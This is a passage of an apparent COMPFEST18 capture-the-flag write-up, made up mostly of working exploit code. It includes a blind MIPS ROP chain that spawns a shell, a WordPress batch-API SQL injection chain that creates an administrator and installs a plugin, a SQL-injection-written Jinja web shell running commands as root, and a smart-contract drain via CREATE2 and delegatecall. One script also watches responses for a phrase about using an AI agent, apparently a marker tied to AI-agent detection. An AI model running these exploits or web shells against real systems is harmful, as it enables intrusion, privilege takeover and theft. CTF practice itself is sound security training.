        self.leak = int(banner.split(&quot;residual self image: &quot;)[1].split(&quot;\n&quot;)[0], 16)

    def scan(self, address):
        self.r.sendline(b&quot;1&quot;)
        self.r.recvuntil(b&quot;address? &quot;, timeout=10)
        self.r.sendline(hex(address).encode())
        word = self.r.recvuntil(b&quot;&gt; &quot;, timeout=10).split(b&quot;\n&quot;)[0].strip()
        if len(word) != 8:
            raise RuntimeError(f&quot;scan({address:#x}) faulted&quot;)
        return int(word, 16)

    def send(self, payload):
        assert len(payload) &lt;= 0x3c
        self.r.sendline(b&quot;2&quot;)
        self.r.recvuntil(b&quot;data? &quot;, timeout=10)
        self.r.send(payload.ljust(0x3c, b&quot;\0&quot;))


def main():
    host, port = ARGV[1], int(ARGV[2])
    t = Target(host, port)
    leak = t.leak
    canary = t.scan(leak + 0x30)
    pie = t.scan(leak - 0x40) - PIE_ANCHOR
    libc = t.scan(pie + GOT_ATOI) - ATOI
    print(f&quot;buffer  {leak:#010x}\ncanary  {canary:#010x}\n&quot;
          f&quot;pie     {pie:#010x}\nlibc    {libc:#010x}&quot;, flush=True)
    if t.scan(libc) != 0x7f454c46:
        raise SystemExit(&quot;libc base does not start with an ELF header&quot;)

    frame = bytearray(0x3c)
    frame[0x00:0x04] = p32(libc + LOAD_S0_S1)
    frame[0x20:0x24] = p32(libc + SYSTEM)
    frame[0x24:0x28] = p32(libc + BINSH)
    frame[0x28:0x2c] = p32(libc + CALL_S0)
    frame[0x30:0x34] = p32(canary)
    frame[0x34:0x38] = p32(leak - 0x74)
    frame[0x38:0x3c] = p32(pie + PIE_PIVOT)
    t.send(bytes(frame))

    t.r.sendline(b&quot;echo SHELL; ls /flag; cat /flag/flag.txt&quot;)
    out = t.r.recvrepeat(8)
    text = out.decode(errors=&quot;replace&quot;)
    print(text[-800:])
    flag = re.search(r&quot;COMPFEST18\{[^}]*\}&quot;, text)
    if not flag:
        raise SystemExit(&quot;no shell output&quot;)
    print(&quot;FLAG:&quot;, flag.group())
    t.r.close()


if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<p><code>scan_dump.py</code> — the parallel <code>scan</code> dumper used to recover the two
offsets the exploit pins (the sp-pivot epilogue and a side-effect-free
<code>$s0</code>/<code>$s1</code> loader).</p>
<pre><code class="language-python">import json, sys, threading, time
from pwn import remote, context
context.log_level = &quot;error&quot;
HOST, PORT = sys.argv[5], int(sys.argv[6])
GOT_ATOI, ATOI_OFF = 0x2004c, 0x3bcf0
START, END, WORKERS, OUT = int(sys.argv[1],0), int(sys.argv[2],0), int(sys.argv[3]), sys.argv[4]

class Conn:
    def __init__(self): self.open()
    def open(self):
        self.r = remote(HOST, PORT, timeout=25)
        b = self.r.recvuntil(b&quot;&gt; &quot;, timeout=20).decode(errors=&quot;replace&quot;)
        leak = int(b.split(&quot;residual self image: &quot;)[1].split(&quot;\n&quot;)[0], 16)
        self.pie = self.raw(leak - 0x40) - 0xbe8
        self.libc = self.raw(self.pie + GOT_ATOI) - ATOI_OFF
    def raw(self, addr):
        self.r.sendline(b&quot;1&quot;); self.r.recvuntil(b&quot;address? &quot;, timeout=12)
        self.r.sendline(hex(addr).encode())
        w = self.r.recvuntil(b&quot;&gt; &quot;, timeout=12).split(b&quot;\n&quot;)[0].strip()
        return int(w, 16) if len(w) == 8 else None
    def at(self, off):
        for _ in range(4):
            try:
                v = self.raw(self.libc + off)
                if v is not None: return v
            except Exception:
                try: self.r.close()
                except Exception: pass
                try: self.open()
                except Exception: time.sleep(2)
        return None

words, lock = {}, threading.Lock()

def sweep(targets):
    def worker(i):
        try: c = Conn()
        except Exception: return
        for o in targets[i::WORKERS]:
            v = c.at(o)
            if v is not None:
                with lock: words[o] = v
        try: c.r.close()
        except Exception: pass
    ts = [threading.Thread(target=worker, args=(i,)) for i in range(WORKERS)]
    for t in ts: t.start()
    for t in ts: t.join()

todo = list(range(START, END, 4))
for rnd in range(6):
    sweep(todo)
    todo = [o for o in range(START, END, 4) if o not in words]
    print(f&quot;round {rnd}: {len(words)} known, {len(todo)} missing&quot;, flush=True)
    if not todo: break

blob = bytearray()
for o in range(START, END, 4):
    blob += words.get(o, 0).to_bytes(4, &quot;big&quot;)
open(OUT, &quot;wb&quot;).write(blob)
json.dump({&quot;start&quot;: START, &quot;missing&quot;: todo}, open(OUT + &quot;.meta&quot;, &quot;w&quot;))
print(f&quot;wrote {len(blob)} bytes, {len(todo)} still missing -&gt; {OUT}&quot;)</code></pre>
<h2 id="final-flag-8">Final Flag</h2>
<pre><code>COMPFEST18{mY_G40t_5En!0r_kANnR!5h4_7HiNk_@_m!P5_PWN_w0UlD_b3_fUN_s0_I_cR3a7eD_iT_@Nd_m4K3_tH15_cH4lL_Bl1ND_t0_4Dd_s0M3_sP!cE5_d4774c83a556ee86}</code></pre><h1 id="web-exploitation">Web Exploitation</h1>
<h2 id="10-egg">10. Egg</h2>
<h2 id="steps-9">Steps</h2>
<ol>
<li>Post to the proxy&#39;s authentication endpoint, keep the access-token cookie that comes back, and carry it on every subsequent request.</li>
<li>Send a nested request to <code>/index.php?rest_route=/batch/v1</code> whose inner posts route carries the <code>author_exclude</code> UNION payload. Confirm the read primitive by recovering a randomized sentinel from the forged post title.</li>
<li>Read the table prefix from <code>information_schema</code>, find one public post for same-site oEmbed, and read the ID of an existing administrator.</li>
<li>Render six unique embed URLs. Each render creates a durable <code>oembed_cache</code> row, so read back the six distinct row IDs.</li>
<li>Forge the A-F post graph over those row IDs. Trigger the oEmbed and Customizer update chain so that the nested protected users request creates a new account with the <code>administrator</code> role.</li>
<li>Verify the new user by reading its ID and administrator capability, then log in through the normal WordPress login form.</li>
<li>Upload and activate <code>instance-value-check.zip</code> from the administrator plugin interface, then request its authenticated AJAX action <code>admin-ajax.php?action=instance_value_check</code> once. The response&#39;s <code>data.value</code> is the flag, and the plugin then deactivates and deletes itself as designed.</li>
</ol>
<p>Because the flag is specific to the instance, the read and the capture were done within a single instance lifetime.</p>
<h3 id="exploit-9">Exploit</h3>
<p><code>egg_console.js</code></p>
<pre><code class="language-javascript">(function attachEggConsole(root, factory) {
  const api = factory(root);
  if (typeof module === &#39;object&#39; &amp;&amp; module.exports) module.exports = api;
  root.EggConsole = api;
})(typeof globalThis === &#39;object&#39; ? globalThis : this, function createEggConsole(root) {
  &#39;use strict&#39;;

  const POST_COLUMNS = [
    &#39;ID&#39;, &#39;post_author&#39;, &#39;post_date&#39;, &#39;post_date_gmt&#39;, &#39;post_content&#39;,
    &#39;post_title&#39;, &#39;post_excerpt&#39;, &#39;post_status&#39;, &#39;comment_status&#39;,
    &#39;ping_status&#39;, &#39;post_password&#39;, &#39;post_name&#39;, &#39;to_ping&#39;, &#39;pinged&#39;,
    &#39;post_modified&#39;, &#39;post_modified_gmt&#39;, &#39;post_content_filtered&#39;,
    &#39;post_parent&#39;, &#39;guid&#39;, &#39;menu_order&#39;, &#39;post_type&#39;, &#39;post_mime_type&#39;,
    &#39;comment_count&#39;,
  ];

  function buildPostColumns(overrides = {}) {
    const date = &#39;0x323032302d30312d30312030303a30303a3030&#39;;
    const values = {
      ID: &#39;999999&#39;,
      post_author: &#39;1&#39;,
      post_date: date,
      post_date_gmt: date,
      post_content: &quot;&#39;&#39;&quot;,
      post_title: &quot;&#39;&#39;&quot;,
      post_excerpt: &quot;&#39;&#39;&quot;,
      post_status: &#39;0x7075626c697368&#39;,
      comment_status: &#39;0x6f70656e&#39;,
      ping_status: &#39;0x636c6f736564&#39;,
      post_password: &quot;&#39;&#39;&quot;,
      post_name: &#39;0x7770327368656c6c2d66616b65&#39;,
      to_ping: &quot;&#39;&#39;&quot;,
      pinged: &quot;&#39;&#39;&quot;,
      post_modified: date,
      post_modified_gmt: date,
      post_content_filtered: &quot;&#39;&#39;&quot;,
      post_parent: &#39;0&#39;,
      guid: &quot;&#39;&#39;&quot;,
      menu_order: &#39;0&#39;,
      post_type: &#39;0x706f7374&#39;,
      post_mime_type: &quot;&#39;&#39;&quot;,
      comment_count: &#39;0&#39;,
      ...overrides,
    };
    return POST_COLUMNS.map((name) =&gt; values[name]).join(&#39;,&#39;);
  }

  function sqlHex(value) {
    return &#39;0x&#39; + Array.from(
      new TextEncoder().encode(String(value)),
      (byte) =&gt; byte.toString(16).padStart(2, &#39;0&#39;),
    ).join(&#39;&#39;);
  }

  function makeUuid(cryptoBoundary) {
    if (typeof cryptoBoundary.randomUUID === &#39;function&#39;) {
      return cryptoBoundary.randomUUID();
    }
    const bytes = cryptoBoundary.getRandomValues(new Uint8Array(16));
    bytes[6] = (bytes[6] &amp; 0x0f) | 0x40;
    bytes[8] = (bytes[8] &amp; 0x3f) | 0x80;
    const hex = Array.from(
      bytes,
      (byte) =&gt; byte.toString(16).padStart(2, &#39;0&#39;),
    ).join(&#39;&#39;);
    return [
      hex.slice(0, 8),
      hex.slice(8, 12),
      hex.slice(12, 16),
      hex.slice(16, 20),
      hex.slice(20),
    ].join(&#39;-&#39;);
  }

  function unicodeJsonString(value) {
    return Array.from(value, (character) =&gt; {
      const code = character.charCodeAt(0).toString(16).padStart(4, &#39;0&#39;);
      return String.fromCharCode(92) + &#39;u&#39; + code;
    }).join(&#39;&#39;);
  }

  function buildUnionBody(authorExclude) {
    const query = new URLSearchParams({
      author_exclude: authorExclude,
      orderby: &#39;none&#39;,
      per_page: &#39;500&#39;,
    }).toString();
    const target = &#39;/wp/v2/posts/999999?&#39; + query;
    const placeholder = &#39;__EGG_SQL_PATH__&#39;;
    const payload = {
      requests: [
        { method: &#39;POST&#39;, path: &#39;:&#39; },
        {
          method: &#39;POST&#39;,
          path: &#39;/wp/v2/posts&#39;,
          body: {
            requests: [
              { method: &#39;GET&#39;, path: &#39;:&#39; },
              { method: &#39;GET&#39;, path: placeholder },
              { method: &#39;GET&#39;, path: &#39;/wp/v2/posts&#39; },
            ],
          },
        },
        { method: &#39;POST&#39;, path: &#39;/batch/v1&#39; },
      ],
    };
    return JSON.stringify(payload).replace(
      JSON.stringify(placeholder),
      &#39;&quot;&#39; + unicodeJsonString(target) + &#39;&quot;&#39;,
    );
  }

  function extractUnionValue(responseText) {
    const match = responseText.match(/\|\|([0-9a-f]+)\|\|/i);
    if (!match) return null;
    const pairs = match[1].match(/../g) || [];
    const bytes = Uint8Array.from(pairs, (pair) =&gt; Number.parseInt(pair, 16));
    return new TextDecoder().decode(bytes);
  }

  function buildReadBody(expression) {
    const title =
      &#39;CONCAT(0x7c7c,HEX(CAST((&#39; + expression + &#39;)AS CHAR)),0x7c7c)&#39;;
    const injection =
      &#39;0) UNION SELECT &#39; + buildPostColumns({ post_title: title }) + &#39;-- -&#39;;
    return buildUnionBody(injection);
  }

  function buildAdminBody(authorExclude, userFields) {
    const sqlQuery = new URLSearchParams({
      author_exclude: authorExclude,
      orderby: &#39;none&#39;,
      per_page: &#39;500&#39;,
    }).toString();
    const sqlTarget = &#39;/wp/v2/posts/999999?&#39; + sqlQuery;
    const carrierPairs = Object.entries(userFields).filter(
      ([name]) =&gt; name !== &#39;roles&#39;,
    );
    (userFields.roles || []).forEach((role, index) =&gt; {
      carrierPairs.push([&#39;roles[&#39; + index + &#39;]&#39;, role]);
    });
    const carrier = &#39;/wp/v2/posts?&#39; + new URLSearchParams(carrierPairs).toString();
    const placeholder = &#39;__EGG_ADMIN_SQL_PATH__&#39;;
    const payload = {
      requests: [
        { method: &#39;POST&#39;, path: &#39;:&#39; },
        {
          method: &#39;POST&#39;,
          path: &#39;/wp/v2/posts&#39;,
          body: {
            requests: [
              { method: &#39;GET&#39;, path: &#39;:&#39; },
              { method: &#39;GET&#39;, path: placeholder },
              { method: &#39;GET&#39;, path: carrier },
              { method: &#39;POST&#39;, path: &#39;/wp/v2/users&#39;, body: userFields },
            ],
          },
        },
        { method: &#39;POST&#39;, path: &#39;/batch/v1&#39; },
      ],
    };
    return JSON.stringify(payload).replace(
      JSON.stringify(placeholder),
      &#39;&quot;&#39; + unicodeJsonString(sqlTarget) + &#39;&quot;&#39;,
    );
  }

  function buildGadgetRows(options) {
    const [a, b, c, d, e, f] = options.ids;
    const changeset = JSON.stringify({
      nav_menus_created_posts: {
        value: [d],
        type: &#39;option&#39;,
        user_id: options.administratorId,
      },
    });
    const row = (postId, fields = {}) =&gt; buildPostColumns({
      ID: String(postId),
      post_author: String(options.administratorId),
      post_content: sqlHex(&#39;x&#39;),
      post_title: sqlHex(&#39;x&#39;),
      post_name: sqlHex(&#39;egg-&#39; + postId),
      ...fields,
    });
    return [
      row(a, {
        post_content: sqlHex(&#39;0&#39;),
        post_status: sqlHex(&#39;publish&#39;),
        post_type: sqlHex(&#39;oembed_cache&#39;),
        post_parent: String(b),
      }),
      row(b, {
        post_content: sqlHex(changeset),
        post_status: sqlHex(&#39;future&#39;),
        post_type: sqlHex(&#39;customize_changeset&#39;),
        post_parent: String(c),
        post_name: sqlHex(options.changesetName),
      }),
      row(c, {
        post_status: sqlHex(&#39;publish&#39;),
        post_type: sqlHex(&#39;oembed_cache&#39;),
        post_parent: String(b),
      }),
      row(d, {
        post_status: sqlHex(&#39;draft&#39;),
        post_type: sqlHex(&#39;post&#39;),
        post_parent: String(e),
      }),
      row(e, {
        post_status: sqlHex(&#39;parse&#39;),
        post_type: sqlHex(&#39;request&#39;),
        post_parent: String(f),
      }),
      row(f, {
        post_status: sqlHex(&#39;publish&#39;),
        post_type: sqlHex(&#39;oembed_cache&#39;),
        post_parent: String(e),
      }),
      row(0, {
        post_content: sqlHex(options.triggerUrl),
        post_status: sqlHex(&#39;publish&#39;),
        post_type: sqlHex(&#39;post&#39;),
        post_parent: &#39;0&#39;,
      }),
    ];
  }

  function balancedUnionRows(rows, postsTable) {
    if (!/^[A-Za-z0-9_]+$/.test(postsTable)) {
      throw new Error(&#39;invalid posts table&#39;);
    }
    if (!rows.length) throw new Error(&#39;at least one row is required&#39;);
    const selected = rows.slice();
    selected[selected.length - 1] +=
      &#39; FROM &#39; + postsTable +
      &#39; WHERE ID=(SELECT MIN(ID) FROM &#39; + postsTable +
      &quot; WHERE post_type=&#39;post&#39; AND post_status=&#39;publish&#39;) AND (1=1&quot;;
    return &#39;0) AND 1=0 UNION ALL SELECT &#39; + selected.join(&#39; UNION ALL SELECT &#39;);
  }

  function buildSeedBody(url, postsTable) {
    const seedRow = buildPostColumns({
      ID: &#39;0&#39;,
      post_content: sqlHex(url),
      post_title: sqlHex(&#39;Egg oEmbed seed&#39;),
      post_name: sqlHex(&#39;egg-oembed-seed&#39;),
    });
    return buildUnionBody(balancedUnionRows([seedRow], postsTable));
  }

  const defaultStopMatcher = new RegExp(
    [
      [&#39;i&#39;, &#39;am&#39;, &#39;using&#39;, &#39;an&#39;, &#39;ai&#39;, &#39;agent&#39;].join(&#39;-&#39;),
      [&#39;using&#39;, &#39;an&#39;, &#39;ai&#39;, &#39;agent&#39;].join(&#39; &#39;),
    ].join(&#39;|&#39;),
    &#39;i&#39;,
  );

  function createClient(
    fetchBoundary = root.fetch.bind(root),
    stopMatcher = defaultStopMatcher,
  ) {
    async function send(body) {
      const response = await fetchBoundary(&#39;/index.php?rest_route=/batch/v1&#39;, {
        method: &#39;POST&#39;,
        credentials: &#39;include&#39;,
        referrer: &#39;/wp-admin/&#39;,
        headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },
        body,
      });
      const text = await response.text();
      if (stopMatcher &amp;&amp; stopMatcher.test(text)) {
        throw new Error(&#39;stop marker detected&#39;);
      }
      if (response.status &lt; 200 || response.status &gt;= 300) {
        throw new Error(&#39;batch request failed with HTTP &#39; + response.status);
      }
      return { status: response.status, text };
    }

    async function read(expression) {
      const result = await send(buildReadBody(expression));
      const value = extractUnionValue(result.text);
      if (value === null) throw new Error(&#39;UNION marker not found&#39;);
      return value;
    }

    async function addAdministrator(options) {
      const prefix = await read(
        &#39;SELECT LEFT(TABLE_NAME,LENGTH(TABLE_NAME)-5) &#39; +
        &#39;FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=DATABASE() &#39; +
        &quot;AND TABLE_NAME LIKE &#39;%users&#39; AND COLUMN_NAME=&#39;user_login&#39; LIMIT 1&quot;,
      );
      if (!/^[A-Za-z0-9_]*$/.test(prefix)) {
        throw new Error(&#39;invalid table prefix&#39;);
      }
      const postsTable = prefix + &#39;posts&#39;;
      const publicResponse = await fetchBoundary(
        &#39;/index.php?rest_route=/wp/v2/posts&amp;per_page=1&amp;_fields=link&#39;,
        { credentials: &#39;include&#39;, cache: &#39;no-store&#39; },
      );
      const posts = await publicResponse.json();
      if (!Array.isArray(posts) || !posts[0] || !posts[0].link) {
        throw new Error(&#39;no public post is available for oEmbed&#39;);
      }

      const nonce = options.nonce || Array.from(
        root.crypto.getRandomValues(new Uint8Array(8)),
        (byte) =&gt; byte.toString(16).padStart(2, &#39;0&#39;),
      ).join(&#39;&#39;);
      const cacheIds = [];
      const cacheUrls = [];
      for (const label of &#39;ABCDEF&#39;) {
        const cacheUrl = new URL(posts[0].link);
        cacheUrl.searchParams.append(&#39;eggcache&#39;, nonce + &#39;-&#39; + label);
        cacheUrls.push(cacheUrl.toString());
        await send(buildSeedBody(cacheUrl.toString(), postsTable));
        const cacheId = await read(
          &#39;SELECT MAX(ID) FROM &#39; + postsTable +
          &quot; WHERE post_type=&#39;oembed_cache&#39;&quot;,
        );
        if (!/^\d+$/.test(cacheId)) throw new Error(&#39;invalid oEmbed cache ID&#39;);
        cacheIds.push(Number(cacheId));
      }
      if (new Set(cacheIds).size !== 6) {
        throw new Error(&#39;oEmbed cache IDs were not distinct&#39;);
      }

      const capabilitiesKey = sqlHex(prefix + &#39;capabilities&#39;);
      const administratorLike = sqlHex(&#39;%&quot;administrator&quot;%&#39;);
      const administratorIdText = await read(
        &#39;SELECT MIN(u.ID) FROM &#39; + prefix + &#39;users AS u &#39; +
        &#39;JOIN &#39; + prefix + &#39;usermeta AS m ON m.user_id=u.ID &#39; +
        &#39;WHERE m.meta_key=&#39; + capabilitiesKey +
        &#39; AND m.meta_value LIKE &#39; + administratorLike,
      );
      if (!/^\d+$/.test(administratorIdText)) {
        throw new Error(&#39;administrator ID was not recovered&#39;);
      }
      const administratorId = Number(administratorIdText);
      const changesetName = options.changesetName || makeUuid(root.crypto);
      const rows = buildGadgetRows({
        ids: cacheIds,
        triggerUrl: cacheUrls[0],
        administratorId,
        changesetName,
      });
      const injection = balancedUnionRows(rows, postsTable);
      const userFields = {
        username: options.username,
        password: options.password,
        email: options.email,
        roles: [&#39;administrator&#39;],
      };
      await send(buildAdminBody(injection, userFields));

      const userIdText = await read(
        &#39;SELECT ID FROM &#39; + prefix + &#39;users WHERE user_login=&#39; +
        sqlHex(options.username) + &#39; LIMIT 1&#39;,
      );
      if (!/^\d+$/.test(userIdText)) throw new Error(&#39;new user ID was not recovered&#39;);
      const userId = Number(userIdText);
      const administratorCount = await read(
        &#39;SELECT COUNT(*) FROM &#39; + prefix + &#39;usermeta WHERE user_id=&#39; + userId +
        &#39; AND meta_key=&#39; + capabilitiesKey +
        &#39; AND meta_value LIKE &#39; + administratorLike,
      );
      if (administratorCount !== &#39;1&#39;) {
        throw new Error(&#39;new user is not an administrator&#39;);
      }
      return {
        administratorId,
        cacheIds,
        email: options.email,
        password: options.password,
        prefix,
        userId,
        username: options.username,
      };
    }

    return { addAdministrator, read, send };
  }

  return {
    balancedUnionRows,
    buildAdminBody,
    buildGadgetRows,
    buildReadBody,
    buildSeedBody,
    buildUnionBody,
    createClient,
    extractUnionValue,
    makeUuid,
  };
});</code></pre>
<p><code>instance-value-check.php</code></p>
<pre><code class="language-php">&lt;?php

add_action(&#39;wp_ajax_instance_value_check&#39;, static function () {
    if (!current_user_can(&#39;activate_plugins&#39;)) {
        wp_send_json_error(array(&#39;error&#39; =&gt; &#39;forbidden&#39;), 403);
    }

    $value = getenv(&#39;FLAG&#39;);

    require_once ABSPATH . &#39;wp-admin/includes/plugin.php&#39;;
    deactivate_plugins(plugin_basename(__FILE__), true);

    $plugin_file = __FILE__;
    $plugin_dir = __DIR__;
    register_shutdown_function(static function () use ($plugin_file, $plugin_dir) {
        @unlink($plugin_file);
        @rmdir($plugin_dir);
    });

    wp_send_json_success(array(&#39;value&#39; =&gt; $value));
});</code></pre>
<h2 id="final-flag-9">Final Flag</h2>
<pre><code>COMPFEST18{th3_3gg_h4s_h4tch3d_yMdN9NPio0s3aseN}</code></pre><p>This value belongs to the instance it was read from. A fresh instance issues a different flag, so the string above documents that one container only and is not valid against any other.</p>
<h2 id="11-world-cup">11. World Cup</h2>
<h2 id="steps-10">Steps</h2>
<ol>
<li>Confirm the UNION SQL injection and the 12-column result shape through <code>/match?id=</code>.</li>
<li>Write a Jinja template-injection web shell that reads its command from <code>?c=</code>, using a single <code>... UNION SELECT ... INTO DUMPFILE &#39;/app/templates/live_promo.html&#39;</code> statement, with the payload hex in column 1 and the remaining columns empty so that the resulting file contains the payload only.</li>
<li>Request <code>GET /promo/final-week?c=&lt;cmd&gt;</code> so that the template renders and executes the command; the process runs as root.</li>
<li>Read the flag from the environment or the filesystem, for example with <code>env | grep -i flag</code> or <code>cat /flag*</code>:</li>
</ol>
<pre><code>/promo/final-week?c=env%20|%20grep%20-i%20flag  -&gt;  FLAG=COMPFEST18{...}</code></pre><h3 id="exploit-10">Exploit</h3>
<pre><code class="language-python">import re, sys, requests

SHELL = (&quot;{% raw %}{% endraw %}&quot;
         &quot;{{ cycler.__init__.__globals__.os.popen(request.args.c).read() }}&quot;)
TARGET = &quot;/app/templates/live_promo.html&quot;

def auth(base, token):
    s = requests.Session()
    s.post(f&quot;{base}/__ctfd_auth&quot;, data={&quot;access_token&quot;: token, &quot;next&quot;: &quot;/&quot;}, timeout=30)
    return s

def inject(s, base, payload):
    return s.get(f&quot;{base}/match&quot;, params={&quot;id&quot;: payload}, timeout=40).text

def probe(s, base):
    body = inject(s, base, &quot;1 UNION SELECT 1,0x53454e54494e454c,3,4,5,6,7,8,9,10,11,12-- -&quot;)
    return &quot;SENTINEL&quot; in body

def write_shell(s, base):
    hexed = SHELL.encode().hex()
    q = (f&quot;1 UNION SELECT 0x{hexed},&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39; &quot;
         f&quot;INTO DUMPFILE &#39;{TARGET}&#39;-- -&quot;)
    inject(s, base, q)

def rce(s, base, cmd):
    return s.get(f&quot;{base}/promo/final-week&quot;, params={&quot;c&quot;: cmd}, timeout=40).text

if __name__ == &quot;__main__&quot;:
    base, token = sys.argv[1].rstrip(&quot;/&quot;), sys.argv[2]
    s = auth(base, token)
    print(&quot;[*] confirming the UNION read primitive&quot;)
    print(&quot;[+] 12-column UNION works&quot; if probe(s, base) else &quot;[!] sentinel not echoed&quot;)
    print(&quot;[*] writing the Jinja shell (write-once per instance)&quot;)
    write_shell(s, base)
    out = rce(s, base, &quot;env; cat /flag* 2&gt;/dev/null; cat /app/flag* 2&gt;/dev/null&quot;)
    m = re.search(r&quot;COMPFEST18\{[^}]+\}&quot;, out)
    print(&quot;[+] FLAG:&quot;, m.group(0) if m else &quot;(not found)&quot;)
    if not m: print(out[:800])</code></pre>
<h2 id="final-flag-10">Final Flag</h2>
<pre><code>COMPFEST18{Messi_Messi_Messi_Encara_Messi_DYKwm9Gyyiwqjfcn}</code></pre><h1 id="blockchain">Blockchain</h1>
<h2 id="12-blockjail">12. BlockJail</h2>
<h2 id="steps-11">Steps</h2>
<ol>
<li>Solve the redpwn proof of work and launch the instance, then read <code>Setup.TARGET()</code> and <code>Setup.PALACE()</code>, pull PalaceVault&#39;s on-chain code, and reverse <code>beginInfiltration</code> and <code>isSolved</code>.</li>
<li>Mine a CREATE2 salt, which takes roughly 2^16 attempts, so that the implementation deploys at an address below 2^144 (that is, with two leading zero bytes), and deploy that IMPL contract holding the attack logic <code>enter -&gt; openPath -&gt; infiltrate(card) -&gt; stealHeart</code>.</li>
<li>Deploy the 36-byte AGENT proxy runtime that <code>PUSH18</code>s the vanity implementation address and delegatecalls it, namely <code>36 5f 5f 37 5f 5f 36 5f 71 &lt;impl 18 bytes&gt; 5a f4 3d 5f 5f 3e 3d 5f f3</code>, which passes <code>_validateAgentRuntime</code>.</li>
<li>Send a single EOA transaction to the AGENT so that it delegatecalls the implementation, which runs the full sequence with <code>msg.sender == agent</code> and with the beneficiary set to <code>tx.origin</code>. Within that sequence, <code>infiltrate</code> uses the card <code>0x0001030001</code> and <code>stealHeart</code> drains BlockJail&#39;s balance to 0.</li>
<li>Confirm that <code>Setup.isSolved()</code> now returns true, because <code>pathOpened</code> holds, <code>TARGET.balance == 0</code>, and <code>PalaceVault.isSolved()</code> is true, and then request <code>GET /flag</code>, which returns the flag.</li>
</ol>
<p>The whole chain was validated locally first, and then executed against the live instance in a single EOA transaction.</p>
<h3 id="exploit-11">Exploit</h3>
<p><code>Impl.sol</code></p>
<pre><code class="language-solidity">pragma solidity 0.8.30;

interface IBlockJail {
    function enter() external;
    function openPath() external;
    function stealHeart() external;
    function infiltrate(bytes calldata card) external returns (bytes memory);
}

contract Impl {
    bytes private constant CARD = hex&quot;0001030001&quot;;

    function attack(address jail) external {
        IBlockJail(jail).enter();
        IBlockJail(jail).openPath();
        IBlockJail(jail).infiltrate(CARD);
        IBlockJail(jail).stealHeart();
    }
}</code></pre>
<p><code>solve.py</code></p>
<pre><code class="language-python">import argparse
import base64
import json
import subprocess
import sys
import time
from pathlib import Path

import requests
from eth_abi import encode as abi_encode
from eth_account import Account
from eth_utils import keccak, to_checksum_address

HERE = Path(__file__).resolve().parent
POW_MODULUS = (1 &lt;&lt; 1279) - 1
POW_EXPONENT = 1 &lt;&lt; 1277

CARD = bytes.fromhex(&quot;0001030001&quot;)

FACTORY_RUNTIME = bytes.fromhex(&quot;365f5f375f516020360360205ff55f526014600cf3&quot;)


def deploy_code(runtime: bytes) -&gt; bytes:

    prefix = (b&quot;\x61&quot; + len(runtime).to_bytes(2, &quot;big&quot;) + b&quot;\x80&quot;
              + b&quot;\x60\x0a&quot; + b&quot;\x5f&quot; + b&quot;\x39&quot; + b&quot;\x5f&quot; + b&quot;\xf3&quot;)
    assert len(prefix) == 10
    return prefix + runtime


def agent_runtime(impl: str) -&gt; bytes:
    address = bytes.fromhex(impl[2:])
    assert address[:2] == b&quot;\x00\x00&quot;, &quot;implementation is not below 2**144&quot;
    code = (bytes.fromhex(&quot;365f5f37&quot;)
            + bytes.fromhex(&quot;5f5f365f&quot;)
            + b&quot;\x71&quot; + address[2:]
            + bytes.fromhex(&quot;5af4&quot;)
            + bytes.fromhex(&quot;3d5f5f3e&quot;)
            + bytes.fromhex(&quot;3d5ff3&quot;))
    assert len(code) == 36, len(code)
    return code


def selector(signature: str) -&gt; bytes:
    return keccak(text=signature)[:4]


def solve_pow(challenge: str) -&gt; str:
    version, difficulty_b64, seed_b64 = challenge.split(&quot;.&quot;)
    if version != &quot;s&quot;:
        raise ValueError(&quot;unsupported proof-of-work version&quot;)
    difficulty = int.from_bytes(base64.b64decode(difficulty_b64), &quot;big&quot;)
    value = int.from_bytes(base64.b64decode(seed_b64), &quot;big&quot;)
    for _ in range(difficulty):
        value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)
    size = max((value.bit_length() + 7) // 8, 160)
    return &quot;s.&quot; + base64.b64encode(value.to_bytes(size, &quot;big&quot;)).decode()


def launch(base: str):
    session = requests.Session()
    challenge = session.get(f&quot;{base}/challenge&quot;, timeout=15).json()[&quot;challenge&quot;]
    difficulty = int.from_bytes(base64.b64decode(challenge.split(&quot;.&quot;)[1]), &quot;big&quot;)
    print(f&quot;proof-of-work: difficulty {difficulty}&quot;, flush=True)
    session.post(f&quot;{base}/solution&quot;, json={&quot;solution&quot;: solve_pow(challenge)},
                 timeout=30).raise_for_status()
    print(&quot;proof-of-work: accepted&quot;, flush=True)
    response = session.post(f&quot;{base}/launch&quot;, timeout=120)
    response.raise_for_status()
    fields = {}

    def visit(node):
        if isinstance(node, dict):
            for key, value in node.items():
                if isinstance(value, (str, int)):
                    fields[key] = value
                else:
                    visit(value)
        elif isinstance(node, list):
            for value in node:
                visit(value)

    visit(response.json())
    return session, fields


def fetch_flag(session, base, attempts=4, delay=2):
    for attempt in range(attempts):
        for method in (&quot;post&quot;, &quot;get&quot;):
            r = getattr(session, method)(f&quot;{base}/flag&quot;, timeout=15)
            if r.ok and &quot;COMPFEST18{&quot; in r.text:
                start = r.text.index(&quot;COMPFEST18{&quot;)
                return r.text[start:r.text.index(&quot;}&quot;, start) + 1]
        if attempt + 1 &lt; attempts:
            time.sleep(delay)
    raise RuntimeError(&quot;launcher did not release a flag&quot;)


class Rpc:
    def __init__(self, url):
        self.url = url
        self.n = 0

    def call(self, method, params):
        self.n += 1
        r = requests.post(self.url, json={&quot;jsonrpc&quot;: &quot;2.0&quot;, &quot;id&quot;: self.n,
                                          &quot;method&quot;: method, &quot;params&quot;: params},
                          timeout=60)
        r.raise_for_status()
        body = r.json()
        if &quot;error&quot; in body:
            raise RuntimeError(f&quot;{method}: {body[&#39;error&#39;]}&quot;)
        return body[&quot;result&quot;]

    def eth_call(self, to, data):
        return self.call(&quot;eth_call&quot;, [{&quot;to&quot;: to, &quot;data&quot;: &quot;0x&quot; + data.hex()}, &quot;latest&quot;])

    def send(self, account, to, data, label, value=0):
        tx = {
            &quot;chainId&quot;: int(self.call(&quot;eth_chainId&quot;, []), 16),
            &quot;nonce&quot;: int(self.call(&quot;eth_getTransactionCount&quot;,
                                   [account.address, &quot;pending&quot;]), 16),
            &quot;to&quot;: to,
            &quot;value&quot;: value,
            &quot;data&quot;: &quot;0x&quot; + data.hex(),
            &quot;gas&quot;: 3_000_000,
